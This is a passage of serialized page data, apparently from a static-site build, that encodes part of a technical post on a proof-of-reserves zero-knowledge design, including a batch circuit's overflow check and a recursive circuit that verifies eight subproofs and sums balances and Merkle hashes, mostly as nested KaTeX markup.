type":23,"tag":510,"props":94834,"children":94835},{},[94836],{"type":28,"value":94837},"(overflow check)",{"type":28,"value":94839}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":23,"tag":37,"props":94841,"children":94843},{"className":94842},[],[94844],{"type":28,"value":92623},{"type":28,"value":2678},{"type":23,"tag":24,"props":94847,"children":94848},{},[94849],{"type":28,"value":94850},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":23,"tag":24,"props":94852,"children":94853},{},[94854],{"type":23,"tag":3918,"props":94855,"children":94857},{"alt":50573,"src":94856},"/posts/por/batch-circuit-inputs.png",[],{"type":23,"tag":546,"props":94859,"children":94861},{"id":94860},"recursive-circuit",[94862],{"type":28,"value":94863},"Recursive Circuit",{"type":23,"tag":24,"props":94865,"children":94866},{},[94867],{"type":28,"value":94868},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":23,"tag":24,"props":94870,"children":94871},{},[94872],{"type":23,"tag":510,"props":94873,"children":94874},{},[94875],{"type":28,"value":93137},{"type":23,"tag":417,"props":94877,"children":94878},{},[94879,94883,94888],{"type":23,"tag":421,"props":94880,"children":94881},{},[94882],{"type":28,"value":93155},{"type":23,"tag":421,"props":94884,"children":94885},{},[94886],{"type":28,"value":94887},"Asset prices",{"type":23,"tag":421,"props":94889,"children":94890},{},[94891],{"type":28,"value":93150},{"type":23,"tag":24,"props":94893,"children":94894},{},[94895],{"type":23,"tag":510,"props":94896,"children":94897},{},[94898],{"type":28,"value":93163},{"type":23,"tag":417,"props":94900,"children":94901},{},[94902],{"type":23,"tag":421,"props":94903,"children":94904},{},[94905],{"type":28,"value":94906},"8 subproofs",{"type":23,"tag":24,"props":94908,"children":94909},{},[94910],{"type":23,"tag":510,"props":94911,"children":94912},{},[94913],{"type":28,"value":93184},{"type":23,"tag":417,"props":94915,"children":94916},{},[94917,95327,95658,96025,96412],{"type":23,"tag":421,"props":94918,"children":94919},{},[94920,95322,95323],{"type":23,"tag":37,"props":94921,"children":94923},{"className":94922},[3984,3985],[94924],{"type":23,"tag":41,"props":94925,"children":94927},{"className":94926},[3990],[94928],{"type":23,"tag":41,"props":94929,"children":94931},{"className":94930,"ariaHidden":3996},[3995],[94932,95068],{"type":23,"tag":41,"props":94933,"children":94935},{"className":94934},[4001],[94936,94940,94945,94950,94955,94960,94965,94970,94975,94980,94985,94990,94995,95000,95005,95010,95015,95020,95025,95030,95035,95040,95045,95050,95055,95059,95064],{"type":23,"tag":41,"props":94937,"children":94939},{"className":94938,"style":92707},[4006],[],{"type":23,"tag":41,"props":94941,"children":94943},{"className":94942},[4012,21574],[94944],{"type":28,"value":21716},{"type":23,"tag":41,"props":94946,"children":94948},{"className":94947},[4012,21574],[94949],{"type":28,"value":92735},{"type":23,"tag":41,"props":94951,"children":94953},{"className":94952},[4012,21574],[94954],{"type":28,"value":21716},{"type":23,"tag":41,"props":94956,"children":94958},{"className":94957},[4012,21574],[94959],{"type":28,"value":458},{"type":23,"tag":41,"props":94961,"children":94963},{"className":94962,"style":92777},[4012,21574],[94964],{"type":28,"value":92780},{"type":23,"tag":41,"props":94966,"children":94968},{"className":94967,"style":92765},[4012],[94969],{"type":28,"value":3084},{"type":23,"tag":41,"props":94971,"children":94973},{"className":94972},[4012,21574],[94974],{"type":28,"value":458},{"type":23,"tag":41,"props":94976,"children":94978},{"className":94977},[4012,21574],[94979],{"type":28,"value":92756},{"type":23,"tag":41,"props":94981,"children":94983},{"className":94982},[4012,21574],[94984],{"type":28,"value":21716},{"type":23,"tag":41,"props":94986,"children":94988},{"className":94987,"style":92765},[4012],[94989],{"type":28,"value":3084},{"type":23,"tag":41,"props":94991,"children":94993},{"className":94992},[4012,21574],[94994],{"type":28,"value":92773},{"type":23,"tag":41,"props":94996,"children":94998},{"className":94997,"style":92777},[4012,21574],[94999],{"type":28,"value":92780},{"type":23,"tag":41,"props":95001,"children":95003},{"className":95002},[4012,21574],[95004],{"type":28,"value":92786},{"type":23,"tag":41,"props":95006,"children":95008},{"className":95007},[4012,21574],[95009],{"type":28,"value":92792},{"type":23,"tag":41,"props":95011,"children":95013},{"className":95012},[21703],[95014],{"type":28,"value":312},{"type":23,"tag":41,"props":95016,"children":95018},{"className":95017},[4012,21574],[95019],{"type":28,"value":458},{"type":23,"tag":41,"props":95021,"children":95023},{"className":95022},[4012,21574],[95024],{"type":28,"value":92756},{"type":23,"tag":41,"props":95026,"children":95028},{"className":95027},[4012,21574],[95029],{"type":28,"value":21716},{"type":23,"tag":41,"props":95031,"children":95033},{"className":95032,"style":92765},[4012],[95034],{"type":28,"value":3084},{"type":23,"tag":41,"props":95036,"children":95038},{"className":95037},[4012,21574],[95039],{"type":28,"value":56399},{"type":23,"tag":41,"props":95041,"children":95043},{"className":95042},[4012,21574],[95044],{"type":28,"value":93024},{"type":23,"tag":41,"props":95046,"children":95048},{"className":95047},[4012,21574],[95049],{"type":28,"value":51128},{"type":23,"tag":41,"props":95051,"children":95053},{"className":95052},[21725],[95054],{"type":28,"value":15402},{"type":23,"tag":41,"props":95056,"children":95058},{"className":95057,"style":4190},[4092],[],{"type":23,"tag":41,"props":95060,"children":95062},{"className":95061},[4195],[95063],{"type":28,"value":387},{"type":23,"tag":41,"props":95065,"children":95067},{"className":95066,"style":4190},[4092],[],{"type":23,"tag":41,"props":95069,"children":95071},{"className":95070},[4001],[95072,95076,95081,95086,95091,95096,95101,95106,95112,95171,95176,95181,95186,95191,95196,95201,95206,95211,95217,95222,95227,95232,95237,95242,95247,95252,95257,95262,95267,95272,95277,95282,95287,95292,95297,95302,95307,95312,95317],{"type":23,"tag":41,"props":95073,"children":95075},{"className":95074,"style":92707},[4006],[],{"type":23,"tag":41,"props":95077,"children":95079},{"className":95078},[4012],[95080],{"type":28,"value":93355},{"type":23,"tag":41,"props":95082,"children":95084},{"className":95083},[4092],[95085],{"type":28,"value":21675},{"type":23,"tag":41,"props":95087,"children":95089},{"className":95088},[4012,21574],[95090],{"type":28,"value":10649},{"type":23,"tag":41,"props":95092,"children":95094},{"className":95093},[4012,21574],[95095],{"type":28,"value":93024},{"type":23,"tag":41,"props":95097,"children":95099},{"className":95098},[4012,21574],[95100],{"type":28,"value":3222},{"type":23,"tag":41,"props":95102,"children":95104},{"className":95103},[4012,21574],[95105],{"type":28,"value":24},{"type":23,"tag":41,"props":95107,"children":95109},{"className":95108},[4012,21574],[95110],{"type":28,"value":95111},"roo",{"type":23,"tag":41,"props":95113,"children":95115},{"className":95114},[4012],[95116,95122],{"type":23,"tag":41,"props":95117,"children":95120},{"className":95118,"style":95119},[4012,21574],"margin-right:0.10764em;",[95121],{"type":28,"value":33078},{"type":23,"tag":41,"props":95123,"children":95125},{"className":95124},[4028],[95126],{"type":23,"tag":41,"props":95127,"children":95129},{"className":95128},[4033,21628],[95130,95160],{"type":23,"tag":41,"props":95131,"children":95133},{"className":95132},[4038],[95134,95155],{"type":23,"tag":41,"props":95135,"children":95137},{"className":95136,"style":93294},[4043],[95138],{"type":23,"tag":41,"props":95139,"children":95141},{"style":95140},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[95142,95146],{"type":23,"tag":41,"props":95143,"children":95145},{"className":95144,"style":4053},[4052],[],{"type":23,"tag":41,"props":95147,"children":95149},{"className":95148},[4058,4059,4060,4061],[95150],{"type":23,"tag":41,"props":95151,"children":95153},{"className":95152},[4012,21574,4061],[95154],{"type":28,"value":3737},{"type":23,"tag":41,"props":95156,"children":95158},{"className":95157},[21731],[95159],{"type":28,"value":21734},{"type":23,"tag":41,"props":95161,"children":95163},{"className":95162},[4038],[95164],{"type":23,"tag":41,"props":95165,"children":95167},{"className":95166,"style":92848},[4043],[95168],{"type":23,"tag":41,"props":95169,"children":95170},{},[],{"type":23,"tag":41,"props":95172,"children":95174},{"className":95173},[4012],[95175],{"type":28,"value":706},{"type":23,"tag":41,"props":95177,"children":95179},{"className":95178},[4012,21574],[95180],{"type":28,"value":24},{"type":23,"tag":41,"props":95182,"children":95184},{"className":95183},[4012,21574],[95185],{"type":28,"value":93024},{"type":23,"tag":41,"props":95187,"children":95189},{"className":95188},[4012,21574],[95190],{"type":28,"value":3222},{"type":23,"tag":41,"props":95192,"children":95194},{"className":95193,"style":92777},[4012,21574],[95195],{"type":28,"value":92780},{"type":23,"tag":41,"props":95197,"children":95199},{"className":95198},[4012,21574],[95200],{"type":28,"value":3737},{"type":23,"tag":41,"props":95202,"children":95204},{"className":95203},[4012,21574],[95205],{"type":28,"value":3146},{"type":23,"tag":41,"props":95207,"children":95209},{"className":95208,"style":92765},[4012],[95210],{"type":28,"value":3084},{"type":23,"tag":41,"props":95212,"children":95214},{"className":95213},[4012,21574],[95215],{"type":28,"value":95216},"in",{"type":23,"tag":41,"props":95218,"children":95220},{"className":95219},[4012,21574],[95221],{"type":28,"value":24},{"type":23,"tag":41,"props":95223,"children":95225},{"className":95224},[4012,21574],[95226],{"type":28,"value":93024},{"type":23,"tag":41,"props":95228,"children":95230},{"className":95229},[4012,21574],[95231],{"type":28,"value":21716},{"type":23,"tag":41,"props":95233,"children":95235},{"className":95234},[4012],[95236],{"type":28,"value":706},{"type":23,"tag":41,"props":95238,"children":95240},{"className":95239},[4012,21574],[95241],{"type":28,"value":458},{"type":23,"tag":41,"props":95243,"children":95245},{"className":95244},[4012,21574],[95246],{"type":28,"value":92756},{"type":23,"tag":41,"props":95248,"children":95250},{"className":95249},[4012,21574],[95251],{"type":28,"value":21716},{"type":23,"tag":41,"props":95253,"children":95255},{"className":95254,"style":92765},[4012],[95256],{"type":28,"value":3084},{"type":23,"tag":41,"props":95258,"children":95260},{"className":95259},[4012,21574],[95261],{"type":28,"value":92773},{"type":23,"tag":41,"props":95263,"children":95265},{"className":95264,"style":92777},[4012,21574],[95266],{"type":28,"value":92780},{"type":23,"tag":41,"props":95268,"children":95270},{"className":95269},[4012,21574],[95271],{"type":28,"value":92786},{"type":23,"tag":41,"props":95273,"children":95275},{"className":95274},[4012,21574],[95276],{"type":28,"value":93595},{"type":23,"tag":41,"props":95278,"children":95280},{"className":95279},[21703],[95281],{"type":28,"value":312},{"type":23,"tag":41,"props":95283,"children":95285},{"className":95284},[4012,21574],[95286],{"type":28,"value":458},{"type":23,"tag":41,"props":95288,"children":95290},{"className":95289},[4012,21574],[95291],{"type":28,"value":92756},{"type":23,"tag":41,"props":95293,"children":95295},{"className":95294},[4012,21574],[95296],{"type":28,"value":21716},{"type":23,"tag":41,"props":95298,"children":95300},{"className":95299,"style":92765},[4012],[95301],{"type":28,"value":3084},{"type":23,"tag":41,"props":95303,"children":95305},{"className":95304},[4012,21574],[95306],{"type":28,"value":56399},{"type":23,"tag":41,"props":95308,"children":95310},{"className":95309},[4012,21574],[95311],{"type":28,"value":93024},{"type":23,"tag":41,"props":95313,"children":95315},{"className":95314},[4012,21574],[95316],{"type":28,"value":51128},{"type":23,"tag":41,"props":95318,"children":95320},{"className":95319},[21725],[95321],{"type":28,"value":15402},{"type":28,"value":6456},{"type":23,"tag":510,"props":95324,"children":95325},{},[95326],{"type":28,"value":94155},{"type":23,"tag":421,"props":95328,"children":95329},{},[95330],{"type":23,"tag":37,"props":95331,"children":95333},{"className":95332},[3984,3985],[95334],{"type":23,"tag":41,"props":95335,"children":95337},{"className":95336},[3990],[95338],{"type":23,"tag":41,"props":95339,"children":95341},{"className":95340,"ariaHidden":3996},[3995],[95342,95448],{"type":23,"tag":41,"props":95343,"children":95345},{"className":95344},[4001],[95346,95350,95355,95360,95365,95370,95375,95380,95385,95390,95395,95400,95405,95410,95415,95420,95425,95430,95435,95439,95444],{"type":23,"tag":41,"props":95347,"children":95349},{"className":95348,"style":92707},[4006],[],{"type":23,"tag":41,"props":95351,"children":95353},{"className":95352},[4012,21574],[95354],{"type":28,"value":458},{"type":23,"tag":41,"props":95356,"children":95358},{"className":95357},[4012,21574],[95359],{"type":28,"value":92756},{"type":23,"tag":41,"props":95361,"children":95363},{"className":95362},[4012,21574],[95364],{"type":28,"value":21716},{"type":23,"tag":41,"props":95366,"children":95368},{"className":95367,"style":92765},[4012],[95369],{"type":28,"value":3084},{"type":23,"tag":41,"props":95371,"children":95373},{"className":95372},[4012,21574],[95374],{"type":28,"value":24},{"type":23,"tag":41,"props":95376,"children":95378},{"className":95377,"style":92765},[4012,21574],[95379],{"type":28,"value":93584},{"type":23,"tag":41,"props":95381,"children":95383},{"className":95382},[4012,21574],[95384],{"type":28,"value":3737},{"type":23,"tag":41,"props":95386,"children":95388},{"className":95387},[4012,21574],[95389],{"type":28,"value":92792},{"type":23,"tag":41,"props":95391,"children":95393},{"className":95392},[21703],[95394],{"type":28,"value":312},{"type":23,"tag":41,"props":95396,"children":95398},{"className":95397},[4012,21574],[95399],{"type":28,"value":458},{"type":23,"tag":41,"props":95401,"children":95403},{"className":95402},[4012,21574],[95404],{"type":28,"value":92756},{"type":23,"tag":41,"props":95406,"children":95408},{"className":95407},[4012,21574],[95409],{"type":28,"value":21716},{"type":23,"tag":41,"props":95411,"children":95413},{"className":95412,"style":92765},[4012],[95414],{"type":28,"value":3084},{"type":23,"tag":41,"props":95416,"children":95418},{"className":95417},[4012,21574],[95419],{"type":28,"value":56399},{"type":23,"tag":41,"props":95421,"children":95423},{"className":95422},[4012,21574],[95424],{"type":28,"value":93024},{"type":23,"tag":41,"props":95426,"children":95428},{"className":95427},[4012,21574],[95429],{"type":28,"value":51128},{"type":23,"tag":41,"props":95431,"children":95433},{"className":95432},[21725],[95434],{"type":28,"value":15402},{"type":23,"tag":41,"props":95436,"children":95438},{"className":95437,"style":4190},[4092],[],{"type":23,"tag":41,"props":95440,"children":95442},{"className":95441},[4195],[95443],{"type":28,"value":387},{"type":23,"tag":41,"props":95445,"children":95447},{"className":95446,"style":4190},[4092],[],{"type":23,"tag":41,"props":95449,"children":95451},{"className":95450},[4001],[95452,95456,95461,95466,95471,95476,95481,95538,95543,95548,95553,95558,95563,95568,95573,95578,95583,95588,95593,95598,95603,95608,95613,95618,95623,95628,95633,95638,95643,95648,95653],{"type":23,"tag":41,"props":95453,"children":95455},{"className":95454,"style":92707},[4006],[],{"type":23,"tag":41,"props":95457,"children":95459},{"className":95458},[4012,21574],[95460],{"type":28,"value":10649},{"type":23,"tag":41,"props":95462,"children":95464},{"className":95463},[4012,21574],[95465],{"type":28,"value":93024},{"type":23,"tag":41,"props":95467,"children":95469},{"className":95468},[4012,21574],[95470],{"type":28,"value":3222},{"type":23,"tag":41,"props":95472,"children":95474},{"className":95473},[4012,21574],[95475],{"type":28,"value":24},{"type":23,"tag":41,"props":95477,"children":95479},{"className":95478},[4012,21574],[95480],{"type":28,"value":95111},{"type":23,"tag":41,"props":95482,"children":95484},{"className":95483},[4012],[95485,95490],{"type":23,"tag":41,"props":95486,"children":95488},{"className":95487,"style":95119},[4012,21574],[95489],{"type":28,"value":33078},{"type":23,"tag":41,"props":95491,"children":95493},{"className":95492},[4028],[95494],{"type":23,"tag":41,"props":95495,"children":95497},{"className":95496},[4033,21628],[95498,95527],{"type":23,"tag":41,"props":95499,"children":95501},{"className":95500},[4038],[95502,95522],{"type":23,"tag":41,"props":95503,"children":95505},{"className":95504,"style":93294},[4043],[95506],{"type":23,"tag":41,"props":95507,"children":95508},{"style":95140},[95509,95513],{"type":23,"tag":41,"props":95510,"children":95512},{"className":95511,"style":4053},[4052],[],{"type":23,"tag":41,"props":95514,"children":95516},{"className":95515},[4058,4059,4060,4061],[95517],{"type":23,"tag":41,"props":95518,"children":95520},{"className":95519},[4012,21574,4061],[95521],{"type":28,"value":3737},{"type":23,"tag":41,"props":95523,"children":95525},{"className":95524},[21731],[95526],{"type":28,"value":21734},{"type":23,"tag":41,"props":95528,"children":95530},{"className":95529},[4038],[95531],{"type":23,"tag":41,"props":95532,"children":95534},{"className":95533,"style":92848},[4043],[95535],{"type":23,"tag":41,"props":95536,"children":95537},{},[],{"type":23,"tag":41,"props":95539,"children":95541},{"className":95540},[4012],[95542],{"type":28,"value":706},{"type":23,"tag":41,"props":95544,"children":95546},{"className":95545},[4012,21574],[95547],{"type":28,"value":24},{"type":23,"tag":41,"props":95549,"children":95551},{"className":95550},[4012,21574],[95552],{"type":28,"value":93024},{"type":23,"tag":41,"props":95554,"children":95556},{"className":95555},[4012,21574],[95557],{"type":28,"value":3222},{"type":23,"tag":41,"props":95559,"children":95561},{"className":95560,"style":92777},[4012,21574],[95562],{"type":28,"value":92780},{"type":23,"tag":41,"props":95564,"children":95566},{"className":95565},[4012,21574],[95567],{"type":28,"value":3737},{"type":23,"tag":41,"props":95569,"children":95571},{"className":95570},[4012,21574],[95572],{"type":28,"value":3146},{"type":23,"tag":41,"props":95574,"children":95576},{"className":95575,"style":92765},[4012],[95577],{"type":28,"value":3084},{"type":23,"tag":41,"props":95579,"children":95581},{"className":95580},[4012,21574],[95582],{"type":28,"value":95216},{"type":23,"tag":41,"props":95584,"children":95586},{"className":95585},[4012,21574],[95587],{"type":28,"value":24},{"type":23,"tag":41,"props":95589,"children":95591},{"className":95590},[4012,21574],[95592],{"type":28,"value":93024},{"type":23,"tag":41,"props":95594,"children":95596},{"className":95595},[4012,21574],[95597],{"type":28,"value":21716},{"type":23,"tag":41,"props":95599,"children":95601},{"className":95600},[4012],[95602],{"type":28,"value":706},{"type":23,"tag":41,"props":95604,"children":95606},{"className":95605},[4012,21574],[95607],{"type":28,"value":458},{"type":23,"tag":41,"props":95609,"children":95611},{"className":95610},[4012,21574],[95612],{"type":28,"value":92756},{"type":23,"tag":41,"props":95614,"children":95616},{"className":95615},[4012,21574],[95617],{"type":28,"value":21716},{"type":23,"tag":41,"props":95619,"children":95621},{"className":95620,"style":92765},[4012],[95622],{"type":28,"value":3084},{"type":23,"tag":41,"props":95624,"children":95626},{"className":95625},[4012,21574],[95627],{"type":28,"value":24},{"type":23,"tag":41,"props":95629,"children":95631},{"className":95630,"style":92765},[4012,21574],[95632],{"type":28,"value":93584},{"type":23,"tag":41,"props":95634,"children":95636},{"className":95635},[4012,21574],[95637],{"type":28,"value":3737},{"type":23,"tag":41,"props":95639,"children":95641},{"className":95640},[4012,21574],[95642],{"type":28,"value":93595},{"type":23,"tag":41,"props":95644,"children":95646},{"className":95645},[21703],[95647],{"type":28,"value":312},{"type":23,"tag":41,"props":95649,"children":95651},{"className":95650},[4012],[95652],{"type":28,"value":4024},{"type":23,"tag":41,"props":95654,"children":95656},{"className":95655},[21725],[95657],{"type":28,"value":15402},{"type":23,"tag":421,"props":95659,"children":95660},{},[95661,96019,96020],{"type":23,"tag":37,"props":95662,"children":95664},{"className":95663},[3984,3985],[95665],{"type":23,"tag":41,"props":95666,"children":95668},{"className":95667},[3990],[95669],{"type":23,"tag":41,"props":95670,"children":95672},{"className":95671,"ariaHidden":3996},[3995],[95673,95779],{"type":23,"tag":41,"props":95674,"children":95676},{"className":95675},[4001],[95677,95681,95686,95691,95696,95701,95706,95711,95716,95721,95726,95731,95736,95741,95746,95751,95756,95761,95766,95770,95775],{"type":23,"tag":41,"props":95678,"children":95680},{"className":95679,"style":92707},[4006],[],{"type":23,"tag":41,"props":95682,"children":95684},{"className":95683},[4012,21574],[95685],{"type":28,"value":458},{"type":23,"tag":41,"props":95687,"children":95689},{"className":95688},[4012,21574],[95690],{"type":28,"value":92756},{"type":23,"tag":41,"props":95692,"children":95694},{"className":95693},[4012,21574],[95695],{"type":28,"value":21716},{"type":23,"tag":41,"props":95697,"children":95699},{"className":95698,"style":92765},[4012],[95700],{"type":28,"value":3084},{"type":23,"tag":41,"props":95702,"children":95704},{"className":95703},[4012,21574],[95705],{"type":28,"value":24},{"type":23,"tag":41,"props":95707,"children":95709},{"className":95708,"style":92765},[4012,21574],[95710],{"type":28,"value":93584},{"type":23,"tag":41,"props":95712,"children":95714},{"className":95713},[4012,21574],[95715],{"type":28,"value":3737},{"type":23,"tag":41,"props":95717,"children":95719},{"className":95718},[4012,21574],[95720],{"type":28,"value":92792},{"type":23,"tag":41,"props":95722,"children":95724},{"className":95723},[21703],[95725],{"type":28,"value":312},{"type":23,"tag":41,"props":95727,"children":95729},{"className":95728},[4012,21574],[95730],{"type":28,"value":458},{"type":23,"tag":41,"props":95732,"children":95734},{"className":95733},[4012,21574],[95735],{"type":28,"value":92756},{"type":23,"tag":41,"props":95737,"children":95739},{"className":95738},[4012,21574],[95740],{"type":28,"value":21716},{"type":23,"tag":41,"props":95742,"children":95744},{"className":95743,"style":92765},[4012],[95745],{"type":28,"value":3084},{"type":23,"tag":41,"props":95747,"children":95749},{"className":95748},[4012,21574],[95750],{"type":28,"value":56399},{"type":23,"tag":41,"props":95752,"children":95754},{"className":95753},[4012,21574],[95755],{"type":28,"value":93024},{"type":23,"tag":41,"props":95757,"children":95759},{"className":95758},[4012,21574],[95760],{"type":28,"value":51128},{"type":23,"tag":41,"props":95762,"children":95764},{"className":95763},[21725],[95765],{"type":28,"value":15402},{"type":23,"tag":41,"props":95767,"children":95769},{"className":95768,"style":4190},[4092],[],{"type":23,"tag":41,"props":95771,"children":95773},{"className":95772},[4195],[95774],{"type":28,"value":387},{"type":23,"tag":41,"props":95776,"children":95778},{"className":95777,"style":4190},[4092],[],{"type":23,"tag":41,"props":95780,"children":95782},{"className":95781},[4001],[95783,95787,95792,95797,95802,95807,95812,95869,95874,95879,95884,95889,95894,95899,95904,95909,95914,95919,95924,95929,95934,95939,95944,95949,95954,95959,95964,95969,95974,95979,95984,95989,95994,95999,96004,96009,96014],{"type":23,"tag":41,"props":95784,"children":95786},{"className":95785,"style":92707},[4006],[],{"type":23,"tag":41,"props":95788,"children":95790},{"className":95789},[4012,21574],[95791],{"type":28,"value":10649},{"type":23,"tag":41,"props":95793,"children":95795},{"className":95794},[4012,21574],[95796],{"type":28,"value":93024},{"type":23,"tag":41,"props":95798,"children":95800},{"className":95799},[4012,21574],[95801],{"type":28,"value":3222},{"type":23,"tag":41,"props":95803,"children":95805},{"className":95804},[4012,21574],[95806],{"type":28,"value":24},{"type":23,"tag":41,"props":95808,"children":95810},{"className":95809},[4012,21574],[95811],{"type":28,"value":95111},{"type":23,"tag":41,"props":95813,"children":95815},{"className":95814},[4012],[95816,95821],{"type":23,"tag":41,"props":95817,"children":95819},{"className":95818,"style":95119},[4012,21574],[95820],{"type":28,"value":33078},{"type":23,"tag":41,"props":95822,"children":95824},{"className":95823},[4028],[95825],{"type":23,"tag":41,"props":95826,"children":95828},{"className":95827},[4033,21628],[95829,95858],{"type":23,"tag":41,"props":95830,"children":95832},{"className":95831},[4038],[95833,95853],{"type":23,"tag":41,"props":95834,"children":95836},{"className":95835,"style":93294},[4043],[95837],{"type":23,"tag":41,"props":95838,"children":95839},{"style":95140},[95840,95844],{"type":23,"tag":41,"props":95841,"children":95843},{"className":95842,"style":4053},[4052],[],{"type":23,"tag":41,"props":95845,"children":95847},{"className":95846},[4058,4059,4060,4061],[95848],{"type":23,"tag":41,"props":95849,"children":95851},{"className":95850},[4012,21574,4061],[95852],{"type":28,"value":3737},{"type":23,"tag":41,"props":95854,"children":95856},{"className":95855},[21731],[95857],{"type":28,"value":21734},{"type":23,"tag":41,"props":95859,"children":95861},{"className":95860},[4038],[95862],{"type":23,"tag":41,"props":95863,"children":95865},{"className":95864,"style":92848},[4043],[95866],{"type":23,"tag":41,"props":95867,"children":95868},{},[],{"type":23,"tag":41,"props":95870,"children":95872},{"className":95871},[4012],[95873],{"type":28,"value":706},{"type":23,"tag":41,"props":95875,"children":95877},{"className":95876},[4012,21574],[95878],{"type":28,"value":24},{"type":23,"tag":41,"props":95880,"children":95882},{"className":95881},[4012,21574],[95883],{"type":28,"value":93024},{"type":23,"tag":41,"props":95885,"children":95887},{"className":95886},[4012,21574],[95888],{"type":28,"value":3222},{"type":23,"tag":41,"props":95890,"children":95892},{"className":95891,"style":92777},[4012,21574],[95893],{"type":28,"value":92780},{"type":23,"tag":41,"props":95895,"children":95897},{"className":95896},[4012,21574],[95898],{"type":28,"value":3737},{"type":23,"tag":41,"props":95900,"children":95902},{"className":95901},[4012,21574],[95903],{"type":28,"value":3146},{"type":23,"tag":41,"props":95905,"children":95907},{"className":95906,"style":92765},[4012],[95908],{"type":28,"value":3084},{"type":23,"tag":41,"props":95910,"children":95912},{"className":95911},[4012,21574],[95913],{"type":28,"value":95216},{"type":23,"tag":41,"props":95915,"children":95917},{"className":95916},[4012,21574],[95918],{"type":28,"value":24},{"type":23,"tag":41,"props":95920,"children":95922},{"className":95921},[4012,21574],[95923],{"type":28,"value":93024},{"type":23,"tag":41,"props":95925,"children":95927},{"className":95926},[4012,21574],[95928],{"type":28,"value":21716},{"type":23,"tag":41,"props":95930,"children":95932},{"className":95931},[4012],[95933],{"type":28,"value":706},{"type":23,"tag":41,"props":95935,"children":95937},{"className":95936},[4012,21574],[95938],{"type":28,"value":458},{"type":23,"tag":41,"props":95940,"children":95942},{"className":95941},[4012,21574],[95943],{"type":28,"value":92756},{"type":23,"tag":41,"props":95945,"children":95947},{"className":95946},[4012,21574],[95948],{"type":28,"value":21716},{"type":23,"tag":41,"props":95950,"children":95952},{"className":95951,"style":92765},[4012],[95953],{"type":28,"value":3084},{"type":23,"tag":41,"props":95955,"children":95957},{"className":95956},[4012,21574],[95958],{"type":28,"value":24},{"type":23,"tag":41,"props":95960,"children":95962},{"className":95961,"style":92765},[4012,21574],[95963],{"type":28,"value":93584},{"type":23,"tag":41,"props":95965,"children":95967},{"className":95966},[4012,21574],[95968],{"type":28,"value":3737},{"type":23,"tag":41,"props":95970,"children":95972},{"className":95971},[4012,21574],[95973],{"type":28,"value":93595},{"type":23,"tag":41,"props":95975,"children":95977},{"className":95976},[21703],[95978],{"type":28,"value":312},{"type":23,"tag":41,"props":95980,"children":95982},{"className":95981},[4012,21574],[95983],{"type":28,"value":458},{"type":23,"tag":41,"props":95985,"children":95987},{"className":95986},[4012,21574],[95988],{"type":28,"value":92756},{"type":23,"tag":41,"props":95990,"children":95992},{"className":95991},[4012,21574],[95993],{"type":28,"value":21716},{"type":23,"tag":41,"props":95995,"children":95997},{"className":95996,"style":92765},[4012],[95998],{"type":28,"value":3084},{"type":23,"tag":41,"props":96000,"children":96002},{"className":96001},[4012,21574],[96003],{"type":28,"value":56399},{"type":23,"tag":41,"props":96005,"children":96007},{"className":96006},[4012,21574],[96008],{"type":28,"value":93024},{"type":23,"tag":41,"props":96010,"children":96012},{"className":96011},[4012,21574],[96013],{"type":28,"value":51128},{"type":23,"tag":41,"props":96015,"children":96017},{"className":96016},[21725],[96018],{"type":28,"value":15402},{"type":28,"value":6456},{"type":23,"tag":510,"props":96021,"children":96022},{},[96023],{"type":28,"value":96024},"(verifies if all asset prices are the same)",{"type":23,"tag":421,"props":96026,"children":96027},{},[96028,96407,96408],{"type":23,"tag":37,"props":96029,"children":96031},{"className":96030},[3984,3985],[96032],{"type":23,"tag":41,"props":96033,"children":96035},{"className":96034},[3990],[96036],{"type":23,"tag":41,"props":96037,"children":96039},{"className":96038,"ariaHidden":3996},[3995],[96040,96121],{"type":23,"tag":41,"props":96041,"children":96043},{"className":96042},[4001],[96044,96048,96053,96058,96063,96068,96073,96078,96083,96088,96093,96098,96103,96108,96112,96117],{"type":23,"tag":41,"props":96045,"children":96047},{"className":96046,"style":94178},[4006],[],{"type":23,"tag":41,"props":96049,"children":96051},{"className":96050},[4012,21574],[96052],{"type":28,"value":51128},{"type":23,"tag":41,"props":96054,"children":96056},{"className":96055,"style":92765},[4012,21574],[96057],{"type":28,"value":94190},{"type":23,"tag":41,"props":96059,"children":96061},{"className":96060,"style":94194},[4012,21574],[96062],{"type":28,"value":88678},{"type":23,"tag":41,"props":96064,"children":96066},{"className":96065,"style":92777},[4012,21574],[96067],{"type":28,"value":92780},{"type":23,"tag":41,"props":96069,"children":96071},{"className":96070},[4012,21574],[96072],{"type":28,"value":51449},{"type":23,"tag":41,"props":96074,"children":96076},{"className":96075,"style":92765},[4012],[96077],{"type":28,"value":3084},{"type":23,"tag":41,"props":96079,"children":96081},{"className":96080},[4012,21574],[96082],{"type":28,"value":21716},{"type":23,"tag":41,"props":96084,"children":96086},{"className":96085},[4012,21574],[96087],{"type":28,"value":94222},{"type":23,"tag":41,"props":96089,"children":96091},{"className":96090,"style":92765},[4012],[96092],{"type":28,"value":3084},{"type":23,"tag":41,"props":96094,"children":96096},{"className":96095},[4012,21574],[96097],{"type":28,"value":94233},{"type":23,"tag":41,"props":96099,"children":96101},{"className":96100},[4012,21574],[96102],{"type":28,"value":10649},{"type":23,"tag":41,"props":96104,"children":96106},{"className":96105},[4012,21574],[96107],{"type":28,"value":84339},{"type":23,"tag":41,"props":96109,"children":96111},{"className":96110,"style":4190},[4092],[],{"type":23,"tag":41,"props":96113,"children":96115},{"className":96114},[4195],[96116],{"type":28,"value":387},{"type":23,"tag":41,"props":96118,"children":96120},{"className":96119,"style":4190},[4092],[],{"type":23,"tag":41,"props":96122,"children":96124},{"className":96123},[4001],[96125,96129,96134,96139,96144,96149,96154,96159,96164,96169,96174,96231,96236,96240,96245,96250,96307,96312,96316,96321,96326,96330,96335,96340,96402],{"type":23,"tag":41,"props":96126,"children":96128},{"className":96127,"style":4113},[4006],[],{"type":23,"tag":41,"props":96130,"children":96132},{"className":96131,"style":21575},[4012,21574],[96133],{"type":28,"value":21578},{"type":23,"tag":41,"props":96135,"children":96137},{"className":96136},[4012,21574],[96138],{"type":28,"value":92719},{"type":23,"tag":41,"props":96140,"children":96142},{"className":96141},[4012,21574],[96143],{"type":28,"value":3737},{"type":23,"tag":41,"props":96145,"children":96147},{"className":96146},[4012,21574],[96148],{"type":28,"value":70559},{"type":23,"tag":41,"props":96150,"children":96152},{"className":96151},[4012,21574],[9615